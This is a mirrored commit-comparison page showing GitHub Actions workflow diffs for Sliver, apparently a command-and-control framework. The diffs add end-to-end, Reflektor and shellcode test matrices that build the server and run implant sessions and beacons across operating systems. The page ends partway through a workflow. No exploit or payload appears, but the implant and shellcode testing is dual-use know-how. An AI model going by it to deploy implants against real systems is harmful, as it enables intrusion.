mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
56
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
0017fd2fe8 | ||
|
|
e44111b6b4 | ||
|
|
aa2dce510a | ||
|
|
5e6acde3c7 | ||
|
|
99a8d3f859 | ||
|
|
fc15a47b1e | ||
|
|
8b32b6525f | ||
|
|
9e0fafb785 | ||
|
|
12ebffb16c | ||
|
|
b539762de7 | ||
|
|
e71af809d4 | ||
|
|
f3ffa3323b | ||
|
|
778331d474 | ||
|
|
8d259577af | ||
|
|
aa108a66a8 | ||
|
|
44e5464950 | ||
|
|
1381200b33 | ||
|
|
f81b250a04 | ||
|
|
8b4ee5f5c5 | ||
|
|
68cb1363e8 | ||
|
|
2344a3ae50 | ||
|
|
8cec5164b7 | ||
|
|
be50c25cb2 | ||
|
|
ee2cc83aa1 | ||
|
|
8e62e2dcd9 | ||
|
|
1347059639 | ||
|
|
29efea561c | ||
|
|
82deca2b0f | ||
|
|
808b3b6408 | ||
|
|
eba10ebbfc | ||
|
|
13903e46a8 | ||
|
|
8aaaa583bd | ||
|
|
4b428065e2 | ||
|
|
578f9a28d0 | ||
|
|
ce2f494f96 | ||
|
|
c1c36491a6 | ||
|
|
a5c3482c6d | ||
|
|
b428274515 | ||
|
|
5dc6adae47 | ||
|
|
264b00f3c7 | ||
|
|
ada79c8ecd | ||
|
|
edd4c3d097 | ||
|
|
38f84a4f6f | ||
|
|
aee0958e99 | ||
|
|
23c067982a | ||
|
|
7e917da3ac | ||
|
|
674b49f41f | ||
|
|
4ba04df621 | ||
|
|
3274382bc7 | ||
|
|
9c9943c94c | ||
|
|
2e9b52371e | ||
|
|
6d6df68972 | ||
|
|
7f863d3172 | ||
|
|
6ecb379bce | ||
|
|
b5d3d0bad6 | ||
|
|
528b04427a |
No files matched your search
@@ -0,0 +1,449 @@
|
||||
name: Comprehensive e2e Tests
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
concurrency:
|
||||
group: comprehensive-e2e-${{ github.ref }}
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
authorize:
|
||||
name: Require repository administrator
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 5
|
||||
steps:
|
||||
- name: Check actor repository permission
|
||||
uses: actions/github-script@v9
|
||||
env:
|
||||
REQUESTING_ACTOR: ${{ github.triggering_actor }}
|
||||
with:
|
||||
script: |
|
||||
const actor = process.env.REQUESTING_ACTOR || context.actor;
|
||||
const { data } = await github.rest.repos.getCollaboratorPermissionLevel({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
username: actor,
|
||||
});
|
||||
core.info(`${actor} has repository permission ${data.permission} (${data.role_name})`);
|
||||
if (data.permission !== "admin") {
|
||||
core.setFailed("Comprehensive e2e Tests may only be run by repository administrators");
|
||||
}
|
||||
|
||||
darwin:
|
||||
name: comprehensive-e2e-darwin-${{ matrix.goarch }}
|
||||
needs: authorize
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: macos-15-intel
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: macos-15
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare coverage artifact
|
||||
run: |
|
||||
mkdir -p e2e-results
|
||||
printf 'darwin/%s\n' '${{ matrix.goarch }}' > e2e-results/target-darwin-${{ matrix.goarch }}.txt
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: darwin
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o sliver-server ./server
|
||||
|
||||
- name: Compile comprehensive E2E driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: darwin
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o sliver-comprehensive-e2e ./test/e2e
|
||||
|
||||
- name: Run comprehensive E2E suite
|
||||
run: >-
|
||||
./sliver-comprehensive-e2e
|
||||
-test.v
|
||||
-test.run=^TestComprehensiveE2E$
|
||||
-test.timeout=0
|
||||
-repo .
|
||||
-server ./sliver-server
|
||||
-server-arch ${{ matrix.server_arch }}
|
||||
-target-os darwin
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
-results ./e2e-results
|
||||
-transports mtls,wg,http
|
||||
-implant-modes session,beacon
|
||||
-beacon-interval 10s
|
||||
|
||||
- name: Upload target coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-target-darwin-${{ matrix.goarch }}
|
||||
path: e2e-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
linux-native:
|
||||
name: comprehensive-e2e-linux-${{ matrix.goarch }}
|
||||
needs: authorize
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: ubuntu-24.04
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: ubuntu-24.04-arm
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare coverage artifact
|
||||
run: |
|
||||
mkdir -p e2e-results
|
||||
printf 'linux/%s\n' '${{ matrix.goarch }}' > e2e-results/target-linux-${{ matrix.goarch }}.txt
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: linux
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o sliver-server ./server
|
||||
|
||||
- name: Compile comprehensive E2E driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: linux
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o sliver-comprehensive-e2e ./test/e2e
|
||||
|
||||
- name: Run comprehensive E2E suite
|
||||
run: >-
|
||||
./sliver-comprehensive-e2e
|
||||
-test.v
|
||||
-test.run=^TestComprehensiveE2E$
|
||||
-test.timeout=0
|
||||
-repo .
|
||||
-server ./sliver-server
|
||||
-server-arch ${{ matrix.server_arch }}
|
||||
-target-os linux
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
-results ./e2e-results
|
||||
-transports mtls,wg,http
|
||||
-implant-modes session,beacon
|
||||
-beacon-interval 10s
|
||||
|
||||
- name: Upload target coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-target-linux-${{ matrix.goarch }}
|
||||
path: e2e-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
linux-386:
|
||||
name: comprehensive-e2e-linux-386
|
||||
needs: authorize
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 360
|
||||
env:
|
||||
CONTAINER_NAME: sliver-comprehensive-e2e-linux-386-${{ github.run_id }}-${{ github.run_attempt }}
|
||||
IMAGE_NAME: sliver-comprehensive-e2e-linux-386:${{ github.run_id }}-${{ github.run_attempt }}
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare coverage artifact
|
||||
run: |
|
||||
mkdir -p e2e-results
|
||||
printf 'linux/386\n' > e2e-results/target-linux-386.txt
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Build linux/386 E2E image
|
||||
run: |
|
||||
set -euo pipefail
|
||||
go_version="$(awk '$1 == "go" { print $2; exit }' go.mod)"
|
||||
docker buildx build \
|
||||
--load \
|
||||
--platform linux/386 \
|
||||
--build-arg "GO_VERSION=${go_version}" \
|
||||
--file test/e2e/Dockerfile.linux-386 \
|
||||
--tag "${IMAGE_NAME}" \
|
||||
.
|
||||
|
||||
- name: Run comprehensive E2E suite
|
||||
run: >-
|
||||
docker run
|
||||
--name "${CONTAINER_NAME}"
|
||||
--platform linux/386
|
||||
--volume "${PWD}/e2e-results:/results"
|
||||
"${IMAGE_NAME}"
|
||||
|
||||
- name: Clean up linux/386 Docker resources
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
docker rm --force "${CONTAINER_NAME}" 2>/dev/null || true
|
||||
docker image rm --force "${IMAGE_NAME}" 2>/dev/null || true
|
||||
docker buildx prune --all --force >/dev/null 2>&1 || true
|
||||
|
||||
- name: Upload target coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-target-linux-386
|
||||
path: e2e-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
windows:
|
||||
name: comprehensive-e2e-windows-${{ matrix.goarch }}
|
||||
needs: authorize
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: windows-2022
|
||||
goarch: 386
|
||||
server_arch: amd64
|
||||
- runner: windows-2022
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: windows-11-arm
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare coverage artifact
|
||||
run: |
|
||||
mkdir -p e2e-results
|
||||
printf 'windows/%s\n' '${{ matrix.goarch }}' > e2e-results/target-windows-${{ matrix.goarch }}.txt
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: windows
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o sliver-server.exe ./server
|
||||
|
||||
- name: Compile comprehensive E2E driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: windows
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o sliver-comprehensive-e2e.exe ./test/e2e
|
||||
|
||||
- name: Run comprehensive E2E suite
|
||||
run: >-
|
||||
./sliver-comprehensive-e2e.exe
|
||||
-test.v
|
||||
-test.run=^TestComprehensiveE2E$
|
||||
-test.timeout=0
|
||||
-repo .
|
||||
-server ./sliver-server.exe
|
||||
-server-arch ${{ matrix.server_arch }}
|
||||
-target-os windows
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
-results ./e2e-results
|
||||
-transports mtls,wg,http
|
||||
-implant-modes session,beacon
|
||||
-beacon-interval 10s
|
||||
|
||||
- name: Upload target coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-target-windows-${{ matrix.goarch }}
|
||||
path: e2e-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
aggregate-coverage:
|
||||
name: Aggregate comprehensive E2E coverage
|
||||
needs:
|
||||
- authorize
|
||||
- darwin
|
||||
- linux-native
|
||||
- linux-386
|
||||
- windows
|
||||
if: ${{ always() && needs.authorize.result == 'success' }}
|
||||
outputs:
|
||||
command_coverage_markdown: ${{ steps.publish_command_coverage.outputs.command_coverage_markdown }}
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 30
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download target coverage
|
||||
uses: actions/download-artifact@v8
|
||||
with:
|
||||
pattern: comprehensive-e2e-target-*
|
||||
path: coverage-input
|
||||
merge-multiple: true
|
||||
|
||||
- name: Prepare aggregate artifact
|
||||
run: |
|
||||
mkdir -p coverage-input coverage-summary
|
||||
printf 'Comprehensive E2E coverage aggregate\n' > coverage-summary/README.txt
|
||||
|
||||
- name: Aggregate coverage and enforce required cells
|
||||
id: aggregate
|
||||
continue-on-error: true
|
||||
run: >-
|
||||
go run -buildvcs=false -mod=vendor ./test/e2e/report
|
||||
-input coverage-input
|
||||
-output coverage-summary
|
||||
|
||||
- name: Publish command coverage table
|
||||
id: publish_command_coverage
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
detailed_report="coverage-summary/coverage-summary.md"
|
||||
report="coverage-summary/command-coverage.md"
|
||||
if [[ ! -s "${report}" ]]; then
|
||||
printf 'Command coverage report is missing or empty: %s\n' "${report}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
delimiter="COMPREHENSIVE_E2E_COMMAND_COVERAGE_EOF"
|
||||
if grep -Fxq "${delimiter}" "${report}"; then
|
||||
printf 'Command coverage report contains the reserved output delimiter: %s\n' "${delimiter}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
{
|
||||
printf 'command_coverage_markdown<<%s\n' "${delimiter}"
|
||||
cat "${report}"
|
||||
printf '%s\n' "${delimiter}"
|
||||
} >> "${GITHUB_OUTPUT}"
|
||||
|
||||
if [[ -f "${detailed_report}" ]]; then
|
||||
cat "${detailed_report}" >> "${GITHUB_STEP_SUMMARY}"
|
||||
fi
|
||||
printf '\n## Command coverage by OS/architecture/transport\n\n' >> "${GITHUB_STEP_SUMMARY}"
|
||||
cat "${report}" >> "${GITHUB_STEP_SUMMARY}"
|
||||
|
||||
- name: Upload aggregate coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-coverage-summary
|
||||
path: coverage-summary
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 30
|
||||
|
||||
- name: Fail on failed or not-run coverage
|
||||
if: ${{ steps.aggregate.outcome != 'success' }}
|
||||
run: exit 1
|
||||
|
||||
reflektor:
|
||||
name: Existing Reflektor test matrix
|
||||
needs: authorize
|
||||
uses: ./.github/workflows/reflektor-tests.yml
|
||||
|
||||
shellcode:
|
||||
name: Shellcode E2E test matrix
|
||||
needs: authorize
|
||||
uses: ./.github/workflows/shellcode-tests.yml
|
||||
@@ -20,7 +20,6 @@ on:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
pull-requests: read
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
@@ -41,6 +40,8 @@ jobs:
|
||||
steps:
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Go 1.26.6
|
||||
uses: actions/setup-go@v6
|
||||
@@ -51,6 +52,5 @@ jobs:
|
||||
uses: golangci/golangci-lint-action@v9
|
||||
with:
|
||||
version: v2.12.2
|
||||
# Keep legacy findings visible without making them blockers.
|
||||
only-new-issues: true
|
||||
args: ./client/... ./server/... ./util/... ./protobuf/... ./docs ./implant/...
|
||||
# Gate only findings introduced since the event base revision.
|
||||
args: --new-from-rev=${{ github.event.pull_request.base.sha || github.event.before }} ./client/... ./server/... ./util/... ./protobuf/... ./docs ./implant/...
|
||||
@@ -0,0 +1,232 @@
|
||||
name: Reflektor Integration Test Matrix
|
||||
|
||||
on:
|
||||
workflow_call:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths:
|
||||
- "implant/**"
|
||||
- "test/reflektor/**"
|
||||
- ".github/workflows/reflektor-tests.yml"
|
||||
pull_request:
|
||||
paths:
|
||||
- "implant/**"
|
||||
- "test/reflektor/**"
|
||||
- ".github/workflows/reflektor-tests.yml"
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
- synchronize
|
||||
- ready_for_review
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
darwin:
|
||||
name: reflektor-darwin-${{ matrix.goarch }}
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 180
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: macos-15-intel
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: macos-15
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: darwin
|
||||
run: go build -mod=vendor -trimpath -tags go_sqlite,server -o sliver-server ./server
|
||||
|
||||
- name: Build Reflektor integration driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: darwin
|
||||
run: go build -mod=vendor -trimpath -tags client,go_sqlite -o sliver-reflektor-e2e ./test/reflektor
|
||||
|
||||
- name: Load Sliver with Reflektor
|
||||
run: >-
|
||||
./sliver-reflektor-e2e
|
||||
-repo .
|
||||
-server ./sliver-server
|
||||
-target-os darwin
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
|
||||
linux-native:
|
||||
name: reflektor-linux-${{ matrix.goarch }}-native
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 180
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: ubuntu-24.04
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: ubuntu-24.04-arm
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: linux
|
||||
run: go build -mod=vendor -trimpath -tags go_sqlite,server -o sliver-server ./server
|
||||
|
||||
- name: Build Reflektor integration driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: linux
|
||||
run: go build -mod=vendor -trimpath -tags client,go_sqlite -o sliver-reflektor-e2e ./test/reflektor
|
||||
|
||||
- name: Load Sliver with Reflektor
|
||||
run: >-
|
||||
./sliver-reflektor-e2e
|
||||
-repo .
|
||||
-server ./sliver-server
|
||||
-target-os linux
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
|
||||
linux-386:
|
||||
name: reflektor-linux-386-docker
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 180
|
||||
env:
|
||||
CONTAINER_NAME: sliver-reflektor-linux-386-${{ github.run_id }}-${{ github.run_attempt }}
|
||||
IMAGE_NAME: sliver-reflektor-linux-386:${{ github.run_id }}-${{ github.run_attempt }}
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Build linux/386 test image
|
||||
run: |
|
||||
set -euo pipefail
|
||||
go_version="$(awk '$1 == "go" { print $2; exit }' go.mod)"
|
||||
docker buildx build \
|
||||
--load \
|
||||
--platform linux/386 \
|
||||
--build-arg "GO_VERSION=${go_version}" \
|
||||
--file test/reflektor/Dockerfile.linux-386 \
|
||||
--tag "${IMAGE_NAME}" \
|
||||
.
|
||||
docker buildx prune --all --force
|
||||
|
||||
- name: Load Sliver with Reflektor
|
||||
run: >-
|
||||
docker run
|
||||
--name "${CONTAINER_NAME}"
|
||||
--platform linux/386
|
||||
"${IMAGE_NAME}"
|
||||
|
||||
- name: Clean up linux/386 Docker resources
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
docker rm --force "${CONTAINER_NAME}" 2>/dev/null || true
|
||||
docker image rm --force "${IMAGE_NAME}" 2>/dev/null || true
|
||||
docker buildx prune --all --force >/dev/null 2>&1 || true
|
||||
|
||||
windows:
|
||||
name: reflektor-windows-${{ matrix.goarch }}
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 180
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: windows-2022
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: windows-2022
|
||||
goarch: 386
|
||||
server_arch: amd64
|
||||
- runner: windows-11-arm
|
||||
goarch: arm64
|
||||
server_arch: amd64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: windows
|
||||
run: go build -mod=vendor -trimpath -tags go_sqlite,server -o sliver-server.exe ./server
|
||||
|
||||
- name: Build Reflektor integration driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: windows
|
||||
run: go build -mod=vendor -trimpath -tags client,go_sqlite -o sliver-reflektor-e2e.exe ./test/reflektor
|
||||
|
||||
- name: Load Sliver with Reflektor
|
||||
run: >-
|
||||
./sliver-reflektor-e2e.exe
|
||||
-repo .
|
||||
-server ./sliver-server.exe
|
||||
-target-os windows
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
@@ -0,0 +1,207 @@
|
||||
name: Shellcode E2E Test Matrix
|
||||
|
||||
on:
|
||||
workflow_call:
|
||||
outputs:
|
||||
shellcode_coverage_markdown:
|
||||
description: Shellcode E2E coverage table in Markdown
|
||||
value: ${{ jobs.aggregate.outputs.shellcode_coverage_markdown }}
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
target:
|
||||
name: shellcode-e2e-${{ matrix.target_os }}-${{ matrix.target_arch }}
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: macos-26
|
||||
target_os: darwin
|
||||
target_arch: arm64
|
||||
server_os: darwin
|
||||
server_arch: arm64
|
||||
server_executable: ./sliver-server
|
||||
test_executable: ./sliver-shellcode-e2e
|
||||
- runner: ubuntu-24.04
|
||||
target_os: linux
|
||||
target_arch: amd64
|
||||
server_os: linux
|
||||
server_arch: amd64
|
||||
server_executable: ./sliver-server
|
||||
test_executable: ./sliver-shellcode-e2e
|
||||
- runner: ubuntu-24.04-arm
|
||||
target_os: linux
|
||||
target_arch: arm64
|
||||
server_os: linux
|
||||
server_arch: arm64
|
||||
server_executable: ./sliver-server
|
||||
test_executable: ./sliver-shellcode-e2e
|
||||
- runner: windows-2022
|
||||
target_os: windows
|
||||
target_arch: "386"
|
||||
server_os: windows
|
||||
server_arch: amd64
|
||||
server_executable: ./sliver-server.exe
|
||||
test_executable: ./sliver-shellcode-e2e.exe
|
||||
- runner: windows-2022
|
||||
target_os: windows
|
||||
target_arch: amd64
|
||||
server_os: windows
|
||||
server_arch: amd64
|
||||
server_executable: ./sliver-server.exe
|
||||
test_executable: ./sliver-shellcode-e2e.exe
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare target artifact
|
||||
run: |
|
||||
mkdir -p shellcode-results
|
||||
printf '%s/%s\n' \
|
||||
'${{ matrix.target_os }}' \
|
||||
'${{ matrix.target_arch }}' \
|
||||
> 'shellcode-results/target-${{ matrix.target_os }}-${{ matrix.target_arch }}.txt'
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor -trimpath ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: ${{ matrix.server_os }}
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o ${{ matrix.server_executable }} ./server
|
||||
|
||||
- name: Compile shellcode E2E client
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.target_arch }}
|
||||
GOOS: ${{ matrix.target_os }}
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o ${{ matrix.test_executable }} ./test/e2e
|
||||
|
||||
- name: Run shellcode generation and execution tests
|
||||
run: >-
|
||||
${{ matrix.test_executable }}
|
||||
-test.v
|
||||
-test.run=^TestShellcodeE2E$
|
||||
-test.timeout=0
|
||||
-repo .
|
||||
-server ${{ matrix.server_executable }}
|
||||
-server-arch ${{ matrix.server_arch }}
|
||||
-target-os ${{ matrix.target_os }}
|
||||
-target-arch ${{ matrix.target_arch }}
|
||||
-results ./shellcode-results
|
||||
-transports mtls,wg,http
|
||||
-implant-modes session,beacon
|
||||
-beacon-interval 10s
|
||||
|
||||
- name: Upload target shellcode results
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: shellcode-e2e-target-${{ matrix.target_os }}-${{ matrix.target_arch }}
|
||||
path: shellcode-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
aggregate:
|
||||
name: Aggregate shellcode E2E coverage
|
||||
needs: target
|
||||
if: ${{ always() }}
|
||||
outputs:
|
||||
shellcode_coverage_markdown: ${{ steps.publish_shellcode_coverage.outputs.shellcode_coverage_markdown }}
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 30
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Prepare aggregate artifact
|
||||
run: |
|
||||
mkdir -p shellcode-input shellcode-summary
|
||||
printf 'Shellcode E2E coverage aggregate\n' > shellcode-summary/README.txt
|
||||
|
||||
- name: Download target shellcode results
|
||||
continue-on-error: true
|
||||
uses: actions/download-artifact@v8
|
||||
with:
|
||||
pattern: shellcode-e2e-target-*
|
||||
path: shellcode-input
|
||||
merge-multiple: true
|
||||
|
||||
- name: Aggregate shellcode coverage
|
||||
id: aggregate
|
||||
continue-on-error: true
|
||||
run: >-
|
||||
